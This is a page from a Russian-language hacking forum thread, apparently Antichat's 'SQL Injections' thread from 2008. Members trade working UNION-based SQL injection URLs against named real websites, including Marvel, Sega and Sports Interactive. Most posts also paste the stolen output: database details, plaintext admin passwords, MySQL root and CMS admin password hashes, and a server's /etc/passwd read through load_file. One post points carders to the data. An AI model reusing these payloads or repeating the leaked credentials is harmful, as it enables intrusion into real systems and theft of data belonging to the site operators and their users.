SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 356 of 798
  1. 0xA1isa

    0xA1isa Member

    Joined:
    19 Jun 2007
    Messages:
    6
    Likes Received:
    9
    Reputations:
    5
    тут скл-инъекция:
    Code:
    '=0) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,version(),30,31,32/*
    версия 4.1.22-max-log

    а дальше - сами....
     
    #7101 0xA1isa, 23 Dec 2008
  2. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Что то мне подсказывает что за такое и схлопотать можно! -)

    В общем бомбочка на десерт.


    http://www.marvel.com/wallpaper/?id=17+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--

    Database Version: 5.0.45
    Database name: marvel_content
    User name: [email protected]

    тИЦ 700
    PR 7


    Database [catalog]
    Database [catalog_transport]
    Database [coty]
    Database [coverconcepts]
    Database [cyos]
    Database [digitalcomics]
    Database [exact_target]
    Database [facebook]
    Database [forum]
    Database [games]
    Database [marvel]
    Database [marvel_content]
    Database [marvel_toys]
    Database [marvelkids]
    Database [toybiz]
    Database [universe3]
    Database [universe4]
    Database [users]

    Там такая база чтобы открыть у меня трафа ушло на 280 метров.


    Getting Data from table marveladmin_users ( Rows) from database marvel
    Fields admin_id:member_name:password

    [1]:2:editors:edit_this
    [2]:3:dcarr:c0@Rs@1R
    [3]:4:jboyle:b!1Nk0nc3
    [4]:5:jyoung:cuR7@1ns
    [5]:6:jgrunw:7huNd3R
    [6]:7:scresp:71gR35%
    [7]:8:eek:otiek:kuR015@n
    [8]:9:dweins:fR@nk3n
    [9]:10:justjg:wH7n07
    [10]:11:pacer:h0m3R

    Далее для кардеров это просто рай -)
     
    #7102 spherics, 23 Dec 2008
    3 people like this.
  3. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Trasher88 не там крутишь смысла особого не вижу напрямую глянь -)

    http://www.sega.com/games/?g=239&v=1062+UNION+SELECT+1,2,3,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),5,6,7,8,9,10--


    Database Version: 5.0.58-enterprise-gpl-log
    Database name: segapass
    User name: [email protected]

    тИЦ = 600
    PageRank = 7

    Прикольный вывод:

    http://www.playsega.co.uk/games/?action=listByGenre&gt=2+union+select+user(),2,3+limit+10,10--

    5.0.58-enterprise-gpl-log
    [email protected]
    playsega

    http://www.playsega.co.uk/games/?action=listByGenre&gt=2+union+select+concat_ws(0x3a3a,user,password),2,3+from+mysql.user--

    root *344451511741E0CC0B73A39418BAFF52CAB438B2
     
    #7103 spherics, 23 Dec 2008
    Last edited: 23 Dec 2008
    1 person likes this.
  4. Dj-Matrix

    Dj-Matrix New Member

    Joined:
    7 Nov 2008
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Во нате:
    http://www.xxx.ru/index.php?res=1280&action=anketa&country=-1+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39/*

    4.1.22
    Нашол только табличку users
     
    #7104 Dj-Matrix, 23 Dec 2008
  5. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    PR4
    http://d3162.u24.comservers.net/news.php?id=2+union+select+1,version(),3,4,5,6,7,8,9--
    4.0.26-standard

    +
    PR5
    http://www.sistersofprovidence.net/news.php?id=-26+union+select+version(),2,3--
    4.0.24

    +
    PR6
    http://www.privatizationbarometer.net/news.php?id=-15793+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,version()--
    4.1.11-Debian_4sarge8-log

    +
    http://alliance.gloderworks.net/news.php?ID=-119+union+select+1,version(),3,4,5,6,7,8,9,10,11--
    5.0.67
     
    #7105 hackmen, 23 Dec 2008
    Last edited: 23 Dec 2008
  6. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    http://www.mobihod.ru/news_2.0.php?detail=-128+union+select+1,2,3,4,5,concat_ws(0x3a3a,version(),user(),database()),7--

    Version:5.0.51a-log
    User:h000175_1_1@localhost
    database:h000175_1


    http://www.master-shin.ru/detail_news.php?ID=-390+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database())--

    5 5.0.51a-log
    h000163_1_1@localhost
    d003045_1


    http://www.agsk.ru/index.php?page=0&catalog=5+union+select+1,2,3,4,concat_ws(0x3a3a,version(),user(),database()),6,7,8,9,10--


    5.0.58-log
    agronom@localhost
    agronom

    Все работы от www.renessans-studio.ru

    Всё под скулями.
     
    #7106 spherics, 23 Dec 2008
  7. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Есть...
    Code:
    http://www.pascucci.ru/index.php?id=-99999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
     
    #7107 mailbrush, 23 Dec 2008
  8. kolenwal

    kolenwal New Member

    Joined:
    13 Dec 2008
    Messages:
    7
    Likes Received:
    4
    Reputations:
    0
    http://www.sigames.com/downloads.php?type=view&id=20999+union+select+aes_decrypt(aes_encrypt(version(),0x71),0x71),2,aes_decrypt(aes_encrypt(user(),0x71),0x71),aes_decrypt(aes_encrypt(database(),0x71),0x71),5,6,7,8,9,10,11,12,13,14,15,16,17/*

    4.1.13-standard:[email protected]:sigames_v2

    http://www.sigames.com/downloads.php?type=view&id=20999+union+select+user,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user+limit+0,1/*

    Есть доступ к mysql.user

    http://www.sigames.com/downloads.php?type=view&id=20999+union+select+load_file('/etc/passwd'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user/*

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    postgres:x:31:32:postgres:/var/lib/postgres:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    operator:x:37:37:Operator:/var:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    sshd:x:100:65534::/var/run/sshd:/bin/false
    stan:x:1000:100::/home/stan:/bin/bash
    jason:x:1001:100::/home/jason:/bin/bash
    Debian-exim:x:103:103::/var/spool/exim4:/bin/false
    mysql:x:1002:104::/home/mysql:
    bb:x:1003:105::/home/bb:
    hobbit:x:1004:106:Hobbit user:/usr/lib/hobbit:

    У юзера есть права на чтение файлов но из веб дир вывести ничего не получилось.
    Может у кого чего иполучится.Удачи!
     
    #7108 kolenwal, 24 Dec 2008
  9. -=Razor=-

    -=Razor=- Member

    Joined:
    20 Dec 2008
    Messages:
    30
    Likes Received:
    29
    Reputations:
    3
    root::*B80F079A936E4FCA95C38E7313DC13A6352F34DB

    Тиц:180
    PR: 4
    Version: 4.1.21
    database: 7samuraev
    user: root@localhost
     
    #7109 -=Razor=-, 24 Dec 2008
    Last edited: 24 Dec 2008
    1 person likes this.
  10. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    Code:
    http://www.7samuraev.ru/crash/pic.php?id=-135+union+select+1,2,3,concat_ws(char(32,45,32),name,pass,email),null,6,7+from+users+limit+7096,1/*
     
    #7110 gisTy, 24 Dec 2008
    Last edited: 24 Dec 2008
  11. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Это не скуля..

    Всё правильно сказал -=Razor=-, нету там скули. Вы про разные сайты говорите.
    Перечитай внимательно.
    _________________________________________________________

    "Компания КИТ. "
    "Надежны во всём!"


    Code:
    http://www.kitcom.ru/goods/?gm=-1+union+select+1,2,3+from+mysql.user--
    root : 2b8abcb448fbc2f9 : wwwsql1

    Так же есть табличка - users.
     
    #7111 R1dex, 24 Dec 2008
  12. TAKO

    TAKO Banned

    Joined:
    17 Dec 2008
    Messages:
    8
    Likes Received:
    1
    Reputations:
    0
    Code:
    http://innovic.com.au/index.php?option=com_ilink&task=viewCateg&Itemid=153&categ_id=-1+union+select+concat(username,0x3a,password)+from+jos_users/*
    Самописный (видимо) компонент для CMS Joomla :(
    md5($pass.$sault)
    Lee:8599fc50c533955c5e68491fd4f43098:zybkP1wPpEEJyo68

    Code:
    http://www.labo-bayern.de/index.php?option=com_mylink&Itemid=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+mos_users+limit+1,1/*
    Аналогично записи выше, однозначна самописный компонент для CMS Mambo :(
    md5
    admin:19263790dd9a16266048f800b031c400
     
    #7112 TAKO, 24 Dec 2008
    Last edited: 24 Dec 2008
    1 person likes this.
  13. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Version 5.0.24


    Интересный вывод =)
     
    #7113 $n@ke, 24 Dec 2008
    3 people like this.
  14. I love this game

    I love this game Elder - Старейшина

    Joined:
    23 Dec 2008
    Messages:
    167
    Likes Received:
    38
    Reputations:
    18
    Антибоян не досутпен, если вдруг будет повтор сообщите!

    _http://vvlaw.com.ua/index.php?id=-28+union+select+version(),2,3--

    5.0.51a-community vvlawnet_user@localhost

    ---------

    _http://www.heimlichinstitute.org/page.php?id=-34+union+select+1,2,3,4--

    ---------

    _http://www.canyonchasers.net/maps/results.php?id=-21+union+select+1,version(),3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

    3-cc_php@localhost | 5.0.67-community

    admin:a468fb
     
    #7114 I love this game, 24 Dec 2008
    Last edited: 24 Dec 2008
    1 person likes this.
  15. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    Можно еще так )
    http://www.canyonchasers.net/maps/results.php?id=-1%20UNION%20ALL%20SELECT%20Null,concat(USER_LOGIN,%200x3a,%20USER_PASS),USER_EMAIL,Null,ID,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null%20FROM%20wp_users--
     
    #7115 hackmen, 24 Dec 2008
  16. Dr.Strangelove

    Dr.Strangelove Member

    Joined:
    1 Dec 2008
    Messages:
    111
    Likes Received:
    61
    Reputations:
    -6
    Кому интересно - переберите столбцы

    http://www.sovtest.ru/publication.php?id=999999999+union+select+1,id,3,4,5,6,7,8+from+member
     
    #7116 Dr.Strangelove, 24 Dec 2008
  17. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    http://icisa.info/news/news.php?id=-9+union+select+1,2,3,version(),5,6,7,8--
    5.0.51a-community

    +
    PR5
    http://www.downtowncrossing.org/shop/shop.php?id=-103+union+select+1,concat_ws(0x3a,username,password),3,4+from+admin--

    +
    http://www.plaza-shopping.com/shop.php?id=-12+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
    4.0.27-max-log
     
    #7117 hackmen, 25 Dec 2008
    Last edited: 25 Dec 2008
    1 person likes this.
  18. Dr.Strangelove

    Dr.Strangelove Member

    Joined:
    1 Dec 2008
    Messages:
    111
    Likes Received:
    61
    Reputations:
    -6
    Херстияне...правильные и славные :D
    http://www.hram-evenkya.ru/fnews2.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat(username,0x3a,user_password),13,14,15,16,17,18+from+hramevenkyaru_forum.phpbb_users+limit+1,1
     
    #7118 Dr.Strangelove, 25 Dec 2008
  19. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    edu

    http://users.design.ucla.edu/~ysohama/item.php?id=-3+union+select+1,2,3,4,version(),6,7,8--
    5.0.45
     
    #7119 hackmen, 25 Dec 2008
  20. I love this game

    I love this game Elder - Старейшина

    Joined:
    23 Dec 2008
    Messages:
    167
    Likes Received:
    38
    Reputations:
    18
    _http://www.latvia360.lv/pilseta_EN.php?ID=-31+union+select+1,2,version(),user()--

    5.0.41-community-log

    --------

    _http://www.lcoastpress.com/book.php?id=-41+union+select+1,version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

    4.1.22
    lcpdb@localhost

    --------

    _http://www.flylikebrick.com/playmovie.php?id=-43+union+select+1,2,3,4,version(),user(),7,8,9,10,11,12,13--

    5.0.51a
    [email protected]

    -------

    _http://www.tokaiguitar.de/produktdetail.php?id=-18+union+select+1,version(),user(),4,5,6,7,8--


    5.0.32-Dotdeb_1.dotdeb.1-log
    web562@localhost
     
    #7120 I love this game, 25 Dec 2008
    Last edited: 25 Dec 2008
    3 people like this.
(You must log in or sign up to post here.)
Page 356 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.